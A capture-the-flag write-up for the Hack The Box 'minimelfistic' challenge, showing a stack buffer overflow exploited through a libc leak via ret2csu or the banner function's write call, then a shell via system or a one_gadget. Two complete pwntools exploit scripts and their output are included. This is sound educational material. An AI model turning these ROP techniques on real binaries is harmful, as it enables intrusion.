The Elves finally understood what went wrong with all their plans. It's a security system, but the alarm rings whenever Santa's house is vulnerable to an attack. Will you manage to deactivate it?
TL;DR
The program does not contain puts function and has insufficient gadgets for us to use a vanilla write function. Using ret2csu technique to control the registers and leak LIBC address, then leverage One Gadget to pop a shell.
Basic File Checks
After running the binary for a seemingly random amount of time, it will ask whether we want to turn off the alarm. Whether you put yes or no, it ignores you.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./minimelfistic
[*] Santa is not home!
[*] Santa is not home!
[!] Santa returned!
[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> y
[!] For your safety, the 🚨 will not be deactivated!
With only NX enabled, it seems like a classic ret2libc attack that leverages ROP chain.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=minimelfistic
[*] '/home/kali/Desktop: minimelfistic/minimelfistic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
Static Code Analysis
Looking at the decompiled code, we can actually stop the program by entering 9. Even though it is not clear how many characters our input buffer local_48 can hold, the enormous number of bytes 0x7f0 it is taking in just screams for buffer overflow.
From this point onwards, there are no other user-defined functions like win or flag that is worth looking at, other than the banner function. It seems to be just calling write to print out the banner, which appears to be quite an innocent function, but can still perhaps be useful to us later.
Since there is no apparent function that we should target, other than a classic buffer overflow, I am suspecting this to be a ret2libc attack. As usual, we will start by fuzzing the offset.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ gdb minimelfistic
GNU gdb (Debian 13.1-3) 13.1
For help, type "help".
pwndbg> r
Starting program: /home/kali/Desktop/minimelfistic
[!] Santa returned!
[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[!] For your safety, the 🚨 will not be deactivated!
[*] Santa is not home!
[*] Santa is not home!
[*] Santa is not home!
[*] Santa is not home!
[!] Santa returned!
[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> 9
Goodbye Santa!
[!] For your safety, the 🚨 will not be deactivated!
Program received signal SIGSEGV, Segmentation fault.
0x00000000004009dc in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
RAX 0x0
*RBX 0x7fffffffdf18 —▸ 0x7fffffffe26f ◂— '/home/kali/Desktop/minimelfistic'
*RCX 0x7ffff7e9a303 (clock_nanosleep+35) ◂— neg eax
RDX 0x0
RDI 0x0
RSI 0x0
R8 0x0
*R9 0x7ffff7f9d260 (pa_next_type) ◂— 0x8
*R10 0x7fffffffdd80 ◂— 0x1
*R11 0x202
R12 0x0
*R13 0x7fffffffdf28 —▸ 0x7fffffffe290 ◂— 'COLORFGBG=15;0'
R14 0x0
*R15 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP 0x6161616161616169 ('iaaaaaaa')
*RSP 0x7fffffffde08 ◂— 0x616161616161616a ('jaaaaaaa')
*RIP 0x4009dc (main+259) ◂— ret
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────
► 0x4009dc <main+259> ret <0x616161616161616a>
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde08 ◂— 0x616161616161616a ('jaaaaaaa')
01:0008│ 0x7fffffffde10 ◂— 0x616161616161616b ('kaaaaaaa')
02:0010│ 0x7fffffffde18 ◂— 0x616161616161616c ('laaaaaaa')
03:0018│ 0x7fffffffde20 ◂— 0x616161616161616d ('maaaaaaa')
04:0020│ 0x7fffffffde28 ◂— 'naaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
05:0028│ 0x7fffffffde30 ◂— 'oaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
06:0030│ 0x7fffffffde38 ◂— 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
07:0038│ 0x7fffffffde40 ◂— 'qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa\n'
──────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────
► 0 0x4009dc main+259
1 0x616161616161616a
2 0x616161616161616b
3 0x616161616161616c
4 0x616161616161616d
5 0x616161616161616e
6 0x616161616161616f
7 0x6161616161616170
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l jaaaaaaa
Finding cyclic pattern of 8 bytes: b'jaaaaaaa' (hex: 0x6a61616161616161)
Found at offset 72
Leaking LIBC Address
One thing that stands out is that puts is not used in the program. So we need to find another similar function such as write that is capable of writing to the standard output in order to leak the LIBC address.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ objdump -t minimelfistic | grep "GLIBC"
0000000000603010 g O .bss 0000000000000008 stdout@@GLIBC_2.2.5
0000000000603020 g O .bss 0000000000000008 stdin@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 write@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 strlen@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 alarm@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 read@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 __libc_start_main@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 srand@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 time@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 setvbuf@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 sleep@@GLIBC_2.2.5
0000000000000000 F *UND* 0000000000000000 rand@@GLIBC_2.2.5
In a typical ret2libc attack, puts requires the control of one register rdi for leaking the LIBC address; whereas write requires control of three registers:
rdi = File descriptor
rsi = Buffer to print
rdx = Number of bytes to write
However, it seems that we have no way to control the rdx register.
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ropper --file minimelfistic --search "pop rsi|pop rdi|pop rdx"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rsi|pop rdi|pop rdx
[INFO] File: minimelfistic
0x0000000000400a43: pop rdi; ret;
0x0000000000400a41: pop rsi; pop r15; ret;
ret2csu
This is a textbook scenario for the use of the ret2csu technique, also known as the universal gadget, a technique used to populate registers when there is a lack of gadgets. Despite an apparent lack of gadgets, it allows us to populate the RDX and RSI registers, which are important for function parameters such as write().
The rest is basically the same as leaking address using puts. When in doubt, consult the man page to understand what arguments write is taking.
ret2csu.py
#!/usr/bin/env python3from pwn import*context.arch ='amd64'offset =72elf =ELF('./minimelfistic')rop =ROP(elf)local =Trueif(local ==True): p = elf.process() libc =ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec =False)else: p =remote(ip, port) libc =ELF('./libc.so.6', checksec =False)# write leak with ret2csu# prepare write(rdi,rsi,rdx) # rdi = 1 to print to stdout# rsi = ptr to addr we want to leak elf.got['write']# rdx = how many bytes we want to print (8 bytes)rop.ret2csu(1, elf.got.write, 8)rop.call(elf.plt.write)rop.call(elf.sym.main)payload =flat({72:rop.chain()})log.info(rop.dump())p.sendlineafter(b">", payload)p.sendlineafter(b">", b"9")p.recvline()p.recvline()p.recvline()leaked_libc_write =u64(p.recv(6).ljust(8, b'\x00'))libc.address = leaked_libc_write - libc.sym.writeprint("Leaked LIBC Base Address: ", hex(libc.address))rop =ROP(libc)pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]bin_sh =next(libc.search(b"/bin/sh"))rop.raw(pop_rdi)rop.raw(bin_sh)rop.raw(libc.sym.system)payload =flat({72:rop.chain()})p.sendlineafter(b">", payload)p.sendlineafter(b">", b"9")p.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./ret2csu.py
[*] '/home/kali/Desktop/minimelfistic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './minimelfistic'
[+] Starting local process '/home/kali/Desktop/minimelfistic': pid 4983
[*] 0x0000: 0x400a3a
0x0008: 0x0
0x0010: 0x1
0x0018: 0x602dc8
0x0020: 0x1
0x0028: 0x602fa8 got.write
0x0030: 0x8
0x0038: 0x400a20
0x0040: b'qaaaraaa' <add rsp, 8>
0x0048: b'saaataaa' rbx
0x0050: b'uaaavaaa' rbp
0x0058: b'waaaxaaa' r12
0x0060: b'yaaazaab' r13
0x0068: b'baabcaab' r14
0x0070: b'daabeaab' r15
0x0078: 0x400630 0x400630()
0x0080: 0x4008d9 0x4008d9()
Leaked LIBC Base Address: 0x7fd559368000
[*] Loaded 195 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode
Goodbye Santa!
[!] For your safety, the 🚨 will not be deactivated!
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}
Manual Popping Registers
Recall that the banner function also uses write in it's procedure? This must mean that the RDX register is populated with the length of the banner message using strlen. Even though the value of RDX is not exactly 8 bytes, it does not really matter to us, because as long as it is >= 8 bytes, we will be able to get the full address of got.write regardless.
We can use this to compensate for the lack of pop rdx gadgets, and now we have control over 3 of the required registers for write. In other words, we can now craft the ROP chain manually without using ret2csu.
Calling the banner function will take care of RDI and RDX on our behalf, so we just need to focus on getting got.write into RSI. Based on the available options of gadgets, we are forced to pop rsi and pop r15 at the same time, so we have to fill back r15 with any dummy value.
payload = padding # Call banner() to set RDX to 0x1836 and EDI to 0x1payload +=p64(elf.symbols["banner"])payload +=p64(rop.rsi.address)payload +=p64(elf.got["write"])# write_got fill into rsipayload +=p64(0x3030303030303030)# Filler value to fill popped r15 (8 bytes)payload +=p64(elf.symbols["write"])payload +=p64(elf.symbols["main"])
One Gadget
After calculating the base address of LIBC, there is another fancy way to pop a system shell - via One Gadget. A one_gadget is simply an execve("/bin/sh") command that is present in gLIBC. However, there are certain constraints that must be met in order for it to work.
The process of validating these constraints through debugging can be very tedious, and in fact, your LIBC version may not even have a working one_gadget. As such, a general rule of thumb is to play around with all the available one_gadgets to see if any one of them works for your scenario.
onegadget.py
#!/usr/bin/env python3from pwn import*context.arch ='amd64'elf =ELF('./minimelfistic')rop =ROP(elf)local =Trueif(local ==True): io = elf.process() libc =ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec =False)else: io =remote(ip, port) libc =ELF('./libc.so.6', checksec =False)padding =b'A'*72# Payload Goal: EDI = 1, RSI = write_got, RDX = 8# 1. Call banner() to set RDX to 0x1836 and EDI to 0x1# 2. Call pop_rsi_r15 gadget to put write() GOT entry into RSI# 3. Fill back popped r15 value with any 8 bytes value# 4. Call write_plt to leak libc# 5. Return to vulnerable function main() to execute stage 2payload = padding payload +=p64(elf.symbols["banner"])payload +=p64(rop.rsi.address)payload +=p64(elf.got["write"])# write_got fill into rsipayload +=p64(0x3030303030303030)# Filler value to fill popped r15 (8 bytes)payload +=p64(elf.symbols["write"])payload +=p64(elf.symbols["main"])log.info('Attempting to leak libc base...')log.info('Sending first payload...')io.sendlineafter(b">", payload)io.sendlineafter(b">", b"9")# Skip bannerio.recvlines(41)libc_write_addr =u64(io.recv(8))libc_base = libc_write_addr - libc.symbols["write"]log.info(f'Found libc base: {hex(libc_base)}')# one_gadget /lib/x86_64-linux-gnu/libc.so.6one_gadget =0x4bfe0gadget_jmp =p64(libc_base + one_gadget)null_val =p64(0)# ensure rcx and rbx is NULL for one gadget constraintspayload2 = padding + gadget_jmp + null_val *100log.info('Attempting to execute /bin/sh...')log.info('Sending second payload...')io.sendlineafter(b">", payload2)io.sendlineafter(b">", b"9")io.interactive()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./onegadget.py
[*] '/home/kali/Desktop/minimelfistic'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './minimelfistic'
[+] Starting local process '/home/kali/Desktop/minimelfistic': pid 5063
[*] Attempting to leak libc base...
[*] Sending first payload...
[*] Found libc base: 0x7ff1e134c000
[*] Attempting to execute /bin/sh...
[*] Sending second payload...
[*] Switching to interactive mode
[!] For your safety, the 🚨 will not be deactivated!
[*] Santa is not home!\x07
[*] Santa is not home!\x07
[!] Santa returned!
[*] Hello 🎅! Do you want to turn off the 🚨? (y/n)
> Goodbye Santa!
[!] For your safety, the 🚨 will not be deactivated!
$ cat flag.txt
HTB{S4nt4_15_n0w_r34dy_t0_g1v3_s0m3_g1ft5}